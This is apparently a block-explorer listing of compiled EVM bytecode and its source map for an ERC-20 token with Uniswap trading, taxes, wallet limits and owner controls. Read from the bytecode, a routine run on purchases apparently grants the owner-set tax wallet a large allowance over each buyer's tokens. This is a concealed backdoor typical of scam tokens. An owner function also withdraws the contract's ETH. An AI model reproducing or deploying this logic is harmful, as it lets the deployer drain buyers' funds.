0401610445906117ff565b60145460ff16156105675760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b6002546001600160a01b031663f305d7194730610598816001600160a01b03165f9081526003602052604090205490565b5f806105ab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610611573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106369190611834565b505060015460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561068b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106af919061185f565b506014805462ff00ff191662010001179055565b5f546001600160a01b031633146106ec5760405162461bcd60e51b8152600401610445906117ff565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107369030906107276009600a6117da565b6104dc906461f313f8806117e8565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610786573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107aa919061187e565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610809573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082d919061187e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610877573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089b919061187e565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108e65760405162461bcd60e51b8152600401610445906117ff565b6108f26009600a6117da565b610901906461f313f8806117e8565b6010556109106009600a6117da565b61091f906461f313f8806117e8565b601155600680546001600160a01b0319166001600160a01b0383169081179091555f908152600560205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109856009600a6117da565b610994906461f313f8806117e8565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109d15760405162461bcd60e51b8152600401610445906117ff565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a425760405162461bcd60e51b8152600401610445906117ff565b60405133904780156108fc02915f818181858888f19350505050158015610a6b573d5f803e3d5ffd5b50565b5f610459338484610bff565b5f546001600160a01b03163314610aa35760405162461bcd60e51b8152600401610445906117ff565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b6001600160a01b038316610b3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b5f8111610d265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6014545f90819062010000900460ff161580610d495750601454610100900460ff165b15610e02576001600160a01b0385165f90815260036020526040902054610d71908490611899565b6001600160a01b038087165f908152600360205260408082209390935590861681522054610da09084906118ac565b6001600160a01b038086165f8181526003602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e2c57505f546001600160a01b03858116911614155b1561108857600f5415610e3e5750600e545b6001546001600160a01b038681169116148015610e6957506002546001600160a01b03858116911614155b8015610e8d57506001600160a01b0384165f9081526005602052604090205460ff16155b15610f8c57601054831115610ee45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610445565b60115483610f06866001600160a01b03165f9081526003602052604090205490565b610f1091906118ac565b1115610f5e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610445565b600b54600f5411610f7157600754610f75565b6009545b600f80549192505f610f86836118bf565b91905055505b6001546001600160a01b038581169116148015610fb257506001600160a01b0385163014155b15610ffa57604080518082019091526001600160a01b038086168252600654166020820152610fe09061120c565b600c54600f5411610ff357600854610ff7565b600a545b90505b305f90815260036020526040902054601454610100900460ff1615801561102e57506001546001600160a01b038681169116145b8015611042575060145462010000900460ff165b15611086576012548111801561105b5750600d54600f54115b1561107d5761107d611078856110738460135461129a565b61129a565b6112b1565b6110864761141b565b505b8015611118576110a3606461109d8584611456565b906114d4565b305f908152600360205260409020549092506110bf9083611515565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9086815260200190565b60405180910390a35b6001600160a01b0385165f9081526003602052604090205461113a9084611573565b6001600160a01b0386165f9081526003602052604090205561117d61115f8484611573565b6001600160a01b0386165f9081526003602052604090205490611515565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c68686611573565b604051908152602001610df3565b5f81848411156111f75760405162461bcd60e51b815260040161044591906115e0565b505f6112038486611899565b95945050505050565b805160208201515f6112206009600a6117da565b61122f906461f313f8806117e8565b61123a9060966118ac565b6112459060966118ac565b611251906105dc6117e8565b61125d906105dc6118ac565b611269906105dc6118ac565b6001600160a01b039384165f9081526004602090815260408083209590961682529390935292909120919091555050565b5f8183116112a857826112aa565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f3576112f36118d7565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136e919061187e565b81600181518110611381576113816118d7565b6001600160a01b0392831660209182029290920101526002546113a79130911684610adc565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113df9085905f908690309042906004016118eb565b5f604051808303815f87803b1580156113f6575f80fd5b505af1158015611408573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611452573d5f803e3d5ffd5b5050565b5f825f0361146557505f61045d565b5f61147083856117e8565b90508261147d858361195b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b5f6112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b4565b5f8061152183856118ac565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b5f6112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d4565b5f81836115d45760405162461bcd60e51b815260040161044591906115e0565b505f611203848661195b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a6b575f80fd5b5f806040838503121561163a575f80fd5b823561164581611615565b946020939093013593505050565b5f805f60608486031215611665575f80fd5b833561167081611615565b9250602084013561168081611615565b929592945050506040919091013590565b5f602082840312156116a1575f80fd5b81356112aa81611615565b5f80604083850312156116bd575f80fd5b82356116c881611615565b915060208301356116d881611615565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173257808504811115611716576117166116e3565b600184161561172457908102905b60019390931c9280026116fb565b935093915050565b5f826117485750600161045d565b8161175457505f61045d565b816001811461176a576002811461177457611790565b600191505061045d565b60ff841115611785576117856116e3565b50506001821b61045d565b5060208310610133831016604e8410600b84101617156117b3575081810a61045d565b6117bf5f1984846116f7565b805f19048211156117d2576117d26116e3565b029392505050565b5f6112aa60ff84168361173a565b808202811582820484141761045d5761045d6116e3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611846575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561186f575f80fd5b815180151581146112aa575f80fd5b5f6020828403121561188e575f80fd5b81516112aa81611615565b8181038181111561045d5761045d6116e3565b8082018082111561045d5761045d6116e3565b5f600182016118d0576118d06116e3565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561193b5783516001600160a01b0316835260209384019390920191600101611914565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261197557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb2058f6b535bc49c698825a20883c136868afa23cfc642e73f1edc5b066eaab64736f6c634300081a0033

Deployed Bytecode Sourcemap

3890:8391:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5724:83;;;;;;;;;;-1:-1:-1;5794:5:0;;;;;;;;;;;;-1:-1:-1;;;5794:5:0;;;;5724:83;;;;;;;:::i;:::-;;;;;;;;6549:307;;;;;;;;;;-1:-1:-1;6549:307:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6549:307:0;945:187:1;5053:48:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5053:48:0;1137:177:1;5995:97:0;;;;;;;;;;;;;:::i;6862:315::-;;;;;;;;;;-1:-1:-1;6862:315:0;;;;;:::i;:::-;;:::i;10911:473::-;;;;;;;;;;;;;:::i;:::-;;5906:83;;;;;;;;;;-1:-1:-1;5906:83:0;;4688:1;1974:36:1;;1962:2;1947:18;5906:83:0;1832:184:1;7526:370:0;;;;;;;;;;;;;:::i;12020:258::-;;;;;;;;;;-1:-1:-1;12020:258:0;;;;;:::i;:::-;;:::i;6098:121::-;;;;;;;;;;-1:-1:-1;6098:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;6191:20:0;6164:7;6191:20;;;:11;:20;;;;;;;6098:121;3735:148;;;;;;;;;;;;;:::i;4878:49::-;;;;;;;;;;;;;;;;3521:79;;;;;;;;;;-1:-1:-1;3559:7:0;3586:6;3521:79;;-1:-1:-1;;;;;3586:6:0;;;2679:51:1;;2667:2;2652:18;3521:79:0;2533:203:1;4934:51:0;;;;;;;;;;;;;;;;5813:87;;;;;;;;;;-1:-1:-1;5885:7:0;;;;;;;;;;;;-1:-1:-1;;;5885:7:0;;;;5813:87;;11808:111;;;;;;;;;;;;;:::i;6225:167::-;;;;;;;;;;-1:-1:-1;6225:167:0;;;;;:::i;:::-;;:::i;4992:54::-;;;;;;;;;;;;;;;;6398:145;;;;;;;;;;-1:-1:-1;6398:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6506:20:0;;;6479:7;6506:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6398:145;10032:150;;;;;;;;;;-1:-1:-1;10032:150:0;;;;;:::i;:::-;;:::i;6549:307::-;6624:4;11590:42;-1:-1:-1;;;;;11652:35:0;;;6694:82;;;;-1:-1:-1;;;6694:82:0;;3336:2:1;6694:82:0;;;3318:21:1;3375:2;3355:18;;;3348:30;3414:34;3394:18;;;3387:62;-1:-1:-1;;;3465:18:1;;;3458:46;3521:19;;6694:82:0;;;;;;;;;6787:39;3180:10;6810:7;6819:6;6787:8;:39::i;:::-;-1:-1:-1;6844:4:0;6549:307;;;;;:::o;5995:97::-;6048:7;4748:13;4688:1;4748:2;:13;:::i;:::-;4733:28;;:12;:28;:::i;:::-;6068:16;;5995:97;:::o;6862:315::-;6960:4;6977:36;6987:6;6995:9;7006:6;6977:9;:36::i;:::-;7024:123;7033:6;3180:10;7055:91;7095:6;7055:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7055:21:0;;;;;;:13;:21;;;;;;;;3180:10;7055:35;;;;;;;;;;:39;:91::i;:::-;7024:8;:123::i;:::-;-1:-1:-1;7165:4:0;6862:315;;;;;:::o;10911:473::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;10974:11:::1;::::0;::::1;;10973:12;10965:48;;;::::0;-1:-1:-1;;;10965:48:0;;5851:2:1;10965:48:0::1;::::0;::::1;5833:21:1::0;5890:2;5870:18;;;5863:30;5929:25;5909:18;;;5902:53;5972:18;;10965:48:0::1;5649:347:1::0;10965:48:0::1;11024:11;::::0;-1:-1:-1;;;;;11024:11:0::1;:27;11059:21;11104:4;11124:24;11104:4:::0;-1:-1:-1;;;;;6191:20:0;6164:7;6191:20;;;:11;:20;;;;;;;6098:121;11124:24:::1;11163:1;11179::::0;11195:7:::1;3559::::0;3586:6;-1:-1:-1;;;;;3586:6:0;;3521:79;11195:7:::1;11024:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11024:219:0;;;-1:-1:-1;;;;;6322:32:1;;;11024:219:0::1;::::0;::::1;6304:51:1::0;6371:18;;;6364:34;;;;6414:18;;;6407:34;;;;6457:18;;;6450:34;6521:32;;;6500:19;;;6493:61;11217:15:0::1;6570:19:1::0;;;6563:35;6276:19;;11024:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11261:9:0::1;::::0;11288:11:::1;::::0;11254:63:::1;::::0;-1:-1:-1;;;11254:63:0;;-1:-1:-1;;;;;11288:11:0;;::::1;11254:63;::::0;::::1;7244:51:1::0;-1:-1:-1;;7311:18:1;;;7304:34;11261:9:0;::::1;::::0;-1:-1:-1;11254:25:0::1;::::0;7217:18:1;;11254:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11328:11:0::1;:18:::0;;-1:-1:-1;;11358:18:0;;;;;10911:473::o;7526:370::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;7574:11:::1;:100:::0;;-1:-1:-1;;;;;;7574:100:0::1;7621:42;7574:100:::0;;::::1;::::0;;;7685:56:::1;::::0;7702:4:::1;::::0;4748:13:::1;4688:1;4748:2;:13;:::i;:::-;4733:28;::::0;:12:::1;:28;:::i;7685:56::-;7782:11;;;;;;;;;-1:-1:-1::0;;;;;7782:11:0::1;-1:-1:-1::0;;;;;7782:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7764:51:0::1;;7838:4;7858:11;;;;;;;;;-1:-1:-1::0;;;;;7858:11:0::1;-1:-1:-1::0;;;;;7858:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7764:123;::::0;-1:-1:-1;;;;;;7764:123:0::1;::::0;;;;;;-1:-1:-1;;;;;8079:32:1;;;7764:123:0::1;::::0;::::1;8061:51:1::0;8148:32;;8128:18;;;8121:60;8034:18;;7764:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7752:9;:135:::0;;-1:-1:-1;;;;;;7752:135:0::1;-1:-1:-1::0;;;;;7752:135:0;;;::::1;::::0;;;::::1;::::0;;7526:370::o;12020:258::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;4748:13:::1;4688:1;4748:2;:13;:::i;:::-;4733:28;::::0;:12:::1;:28;:::i;:::-;12095:12;:24:::0;4748:13:::1;4688:1;4748:2;:13;:::i;:::-;4733:28;::::0;:12:::1;:28;:::i;:::-;12130:14;:24:::0;12165:10:::1;:18:::0;;-1:-1:-1;;;;;;12165:18:0::1;-1:-1:-1::0;;;;;12165:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;12194:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;12194:31:0::1;-1:-1:-1::0;12194:31:0::1;::::0;;12241:29:::1;4748:13;4688:1;4748:2;:13;:::i;:::-;4733:28;::::0;:12:::1;:28;:::i;:::-;12241:29;::::0;1283:25:1;;;1271:2;1256:18;12241:29:0::1;;;;;;;12020:258:::0;:::o;3735:148::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;3842:1:::1;3826:6:::0;;3805:40:::1;::::0;-1:-1:-1;;;;;3826:6:0;;::::1;::::0;3805:40:::1;::::0;3842:1;;3805:40:::1;3873:1;3856:19:::0;;-1:-1:-1;;;;;;3856:19:0::1;::::0;;3735:148::o;11808:111::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;11860:51:::1;::::0;11868:10:::1;::::0;11889:21:::1;11860:51:::0;::::1;;;::::0;::::1;::::0;;;11889:21;11868:10;11860:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11808:111::o:0;6225:167::-;6303:4;6320:42;3180:10;6344:9;6355:6;6320:9;:42::i;10032:150::-;3648:6;;-1:-1:-1;;;;;3648:6:0;3180:10;3648:22;3640:67;;;;-1:-1:-1;;;3640:67:0;;;;;;;:::i;:::-;10108:10:::1;:21:::0;;-1:-1:-1;;;;;10108:21:0;;::::1;-1:-1:-1::0;;;;;;10108:21:0;;::::1;::::0;::::1;::::0;;:10:::1;10140:27:::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;10140:34:0::1;10108:21:::0;10140:34:::1;::::0;;10032:150::o;7183:337::-;-1:-1:-1;;;;;7276:19:0;;7268:68;;;;-1:-1:-1;;;7268:68:0;;8394:2:1;7268:68:0;;;8376:21:1;8433:2;8413:18;;;8406:30;8472:34;8452:18;;;8445:62;-1:-1:-1;;;8523:18:1;;;8516:34;8567:19;;7268:68:0;8192:400:1;7268:68:0;-1:-1:-1;;;;;7355:21:0;;7347:68;;;;-1:-1:-1;;;7347:68:0;;8799:2:1;7347:68:0;;;8781:21:1;8838:2;8818:18;;;8811:30;8877:34;8857:18;;;8850:62;-1:-1:-1;;;8928:18:1;;;8921:32;8970:19;;7347:68:0;8597:398:1;7347:68:0;-1:-1:-1;;;;;7426:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7480:32;;1283:25:1;;;7480:32:0;;1256:18:1;7480:32:0;;;;;;;7183:337;;;:::o;7902:2124::-;-1:-1:-1;;;;;7992:18:0;;7984:68;;;;-1:-1:-1;;;7984:68:0;;9202:2:1;7984:68:0;;;9184:21:1;9241:2;9221:18;;;9214:30;9280:34;9260:18;;;9253:62;-1:-1:-1;;;9331:18:1;;;9324:35;9376:19;;7984:68:0;9000:401:1;7984:68:0;-1:-1:-1;;;;;8071:16:0;;8063:64;;;;-1:-1:-1;;;8063:64:0;;9608:2:1;8063:64:0;;;9590:21:1;9647:2;9627:18;;;9620:30;9686:34;9666:18;;;9659:62;-1:-1:-1;;;9737:18:1;;;9730:33;9780:19;;8063:64:0;9406:399:1;8063:64:0;8157:1;8146:8;:12;8138:66;;;;-1:-1:-1;;;8138:66:0;;10012:2:1;8138:66:0;;;9994:21:1;10051:2;10031:18;;;10024:30;10090:34;10070:18;;;10063:62;-1:-1:-1;;;10141:18:1;;;10134:39;10190:19;;8138:66:0;9810:405:1;8138:66:0;8263:11;;8215:13;;;;8263:11;;;;;8262:12;;:22;;-1:-1:-1;8278:6:0;;;;;;;8262:22;8258:231;;;-1:-1:-1;;;;;8321:17:0;;;;;;:11;:17;;;;;;:28;;8341:8;;8321:28;:::i;:::-;-1:-1:-1;;;;;8301:17:0;;;;;;;:11;:17;;;;;;:48;;;;8382:15;;;;;;;:26;;8400:8;;8382:26;:::i;:::-;-1:-1:-1;;;;;8364:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8428:28;;;;;;;;;;8447:8;1283:25:1;;1271:2;1256:18;;1137:177;8428:28:0;;;;;;;;8471:7;;7902:2124;;;:::o;8258:231::-;3559:7;3586:6;-1:-1:-1;;;;;8503:15:0;;;3586:6;;8503:15;;;;:32;;-1:-1:-1;3559:7:0;3586:6;-1:-1:-1;;;;;8522:13:0;;;3586:6;;8522:13;;8503:32;8499:1112;;;8555:9;;:11;8552:71;;-1:-1:-1;8595:12:0;;8552:71;8649:9;;-1:-1:-1;;;;;8641:17:0;;;8649:9;;8641:17;:47;;;;-1:-1:-1;8676:11:0;;-1:-1:-1;;;;;8662:26:0;;;8676:11;;8662:26;;8641:47;:74;;;;-1:-1:-1;;;;;;8694:21:0;;;;;;:17;:21;;;;;;;;8692:23;8641:74;8637:393;;;8757:12;;8745:8;:24;;8737:62;;;;-1:-1:-1;;;8737:62:0;;10685:2:1;8737:62:0;;;10667:21:1;10724:2;10704:18;;;10697:30;10763:27;10743:18;;;10736:55;10808:18;;8737:62:0;10483:349:1;8737:62:0;8854:14;;8842:8;8826:13;8836:2;-1:-1:-1;;;;;6191:20:0;6164:7;6191:20;;;:11;:20;;;;;;;6098:121;8826:13;:24;;;;:::i;:::-;:42;;8818:81;;;;-1:-1:-1;;;8818:81:0;;11039:2:1;8818:81:0;;;11021:21:1;11078:2;11058:18;;;11051:30;11117:28;11097:18;;;11090:56;11163:18;;8818:81:0;10837:350:1;8818:81:0;8938:15;;8928:9;;:25;8927:55;;8968:14;;8927:55;;;8955:12;;8927:55;9003:9;:11;;8918:65;;-1:-1:-1;9003:9:0;:11;;;:::i;:::-;;;;;;8637:393;9053:9;;-1:-1:-1;;;;;9047:15:0;;;9053:9;;9047:15;:39;;;;-1:-1:-1;;;;;;9066:20:0;;9081:4;9066:20;;9047:39;9044:171;;;9107:23;;;;;;;;;-1:-1:-1;;;;;9107:23:0;;;;;9118:10;;;9107:23;;;;;;:5;:23::i;:::-;9151:16;;9141:9;;:26;9140:58;;9183:15;;9140:58;;;9169:13;;9140:58;9131:68;;9044:171;9278:4;9229:28;6191:20;;;:11;:20;;;;;;9304:6;;;;;;;9303:7;:26;;;;-1:-1:-1;9320:9:0;;-1:-1:-1;;;;;9314:15:0;;;9320:9;;9314:15;9303:26;:41;;;;-1:-1:-1;9333:11:0;;;;;;;9303:41;9299:301;;;9391:17;;9368:20;:40;:74;;;;;9424:18;;9412:9;;:30;9368:74;9365:168;;;9465:68;9475:57;9481:8;9491:40;9497:20;9519:11;;9491:5;:40::i;:::-;9475:5;:57::i;:::-;9465:9;:68::i;:::-;9552:32;9562:21;9552:9;:32::i;:::-;8537:1074;8499:1112;9632:9;;9629:208;;9663:28;9687:3;9663:19;:8;9676:5;9663:12;:19::i;:::-;:23;;:28::i;:::-;9753:4;9733:26;;;;:11;:26;;;;;;9657:34;;-1:-1:-1;9733:37:0;;9657:34;9733:30;:37::i;:::-;9726:4;9706:26;;;;:11;:26;;;;;;;:64;;;;9790:35;;-1:-1:-1;;;;;9790:35:0;;;;;;;9819:5;1283:25:1;;1271:2;1256:18;;1137:177;9790:35:0;;;;;;;;9629:208;-1:-1:-1;;;;;9865:17:0;;;;;;:11;:17;;;;;;:31;;9887:8;9865:21;:31::i;:::-;-1:-1:-1;;;;;9847:17:0;;;;;;:11;:17;;;;;:49;9923:40;9943:19;:8;9956:5;9943:12;:19::i;:::-;-1:-1:-1;;;;;9923:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;9907:15:0;;;;;;;:11;:15;;;;;:56;;;;9979:39;;;9998:19;:8;10011:5;9998:12;:19::i;:::-;9979:39;;1283:25:1;;;1271:2;1256:18;9979:39:0;1137:177:1;2279:190:0;2365:7;2401:12;2393:6;;;;2385:29;;;;-1:-1:-1;;;2385:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2425:9:0;2437:5;2441:1;2437;:5;:::i;:::-;2425:17;2279:190;-1:-1:-1;;;;;2279:190:0:o;10658:212::-;10729:6;;;10752;;;10715:13;4748;4688:1;4748:2;:13;:::i;:::-;4733:28;;:12;:28;:::i;:::-;10788:13;;:3;:13;:::i;:::-;:17;;10802:3;10788:17;:::i;:::-;10787:24;;10807:4;10787:24;:::i;:::-;10782:29;;:4;:29;:::i;:::-;:34;;10812:4;10782:34;:::i;:::-;-1:-1:-1;;;;;10827:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;;:35;;;;-1:-1:-1;;10658:212:0:o;11702:100::-;11761:7;11788:1;11786;:3;11785:9;;11793:1;11785:9;;;11791:1;11785:9;11778:16;11702:100;-1:-1:-1;;;11702:100:0:o;10188:464::-;5336:6;:13;;-1:-1:-1;;5336:13:0;;;;;10283:16:::1;::::0;;10297:1:::1;10283:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10283:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10283:16:0::1;10259:40;;10328:4;10310;10315:1;10310:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10310:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10354:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10354:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10310:7;;10354:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10344:4;10349:1;10344:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10344:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10415:11:::1;::::0;10383:58:::1;::::0;10400:4:::1;::::0;10415:11:::1;10429::::0;10383:8:::1;:58::i;:::-;10452:11;::::0;:192:::1;::::0;-1:-1:-1;;;10452:192:0;;-1:-1:-1;;;;;10452:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10529:11;;10452::::1;::::0;10571:4;;10598::::1;::::0;10618:15:::1;::::0;10452:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5372:6:0;:14;;-1:-1:-1;;5372:14:0;;;-1:-1:-1;;;;10188:464:0:o;11925:89::-;11979:10;;:27;;-1:-1:-1;;;;;11979:10:0;;;;:27;;;;;11999:6;;11979:10;:27;:10;:27;11999:6;11979:10;:27;;;;;;;;;;;;;;;;;;;;;11925:89;:::o;2477:246::-;2535:7;2559:1;2564;2559:6;2555:47;;-1:-1:-1;2589:1:0;2582:8;;2555:47;2612:9;2624:5;2628:1;2624;:5;:::i;:::-;2612:17;-1:-1:-1;2657:1:0;2648:5;2652:1;2612:17;2648:5;:::i;:::-;:10;2640:56;;;;-1:-1:-1;;;2640:56:0;;12984:2:1;2640:56:0;;;12966:21:1;13023:2;13003:18;;;12996:30;13062:34;13042:18;;;13035:62;-1:-1:-1;;;13113:18:1;;;13106:31;13154:19;;2640:56:0;12782:397:1;2731:132:0;2789:7;2816:39;2820:1;2823;2816:39;;;;;;;;;;;;;;;;;:3;:39::i;1948:179::-;2006:7;;2038:5;2042:1;2038;:5;:::i;:::-;2026:17;;2067:1;2062;:6;;2054:46;;;;-1:-1:-1;;;2054:46:0;;13386:2:1;2054:46:0;;;13368:21:1;13425:2;13405:18;;;13398:30;13464:29;13444:18;;;13437:57;13511:18;;2054:46:0;13184:351:1;2135:136:0;2193:7;2220:43;2224:1;2227;2220:43;;;;;;;;;;;;;;;;;:3;:43::i;2871:189::-;2957:7;2992:12;2985:5;2977:28;;;;-1:-1:-1;;;2977:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3016:9:0;3028:5;3032:1;3028;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;: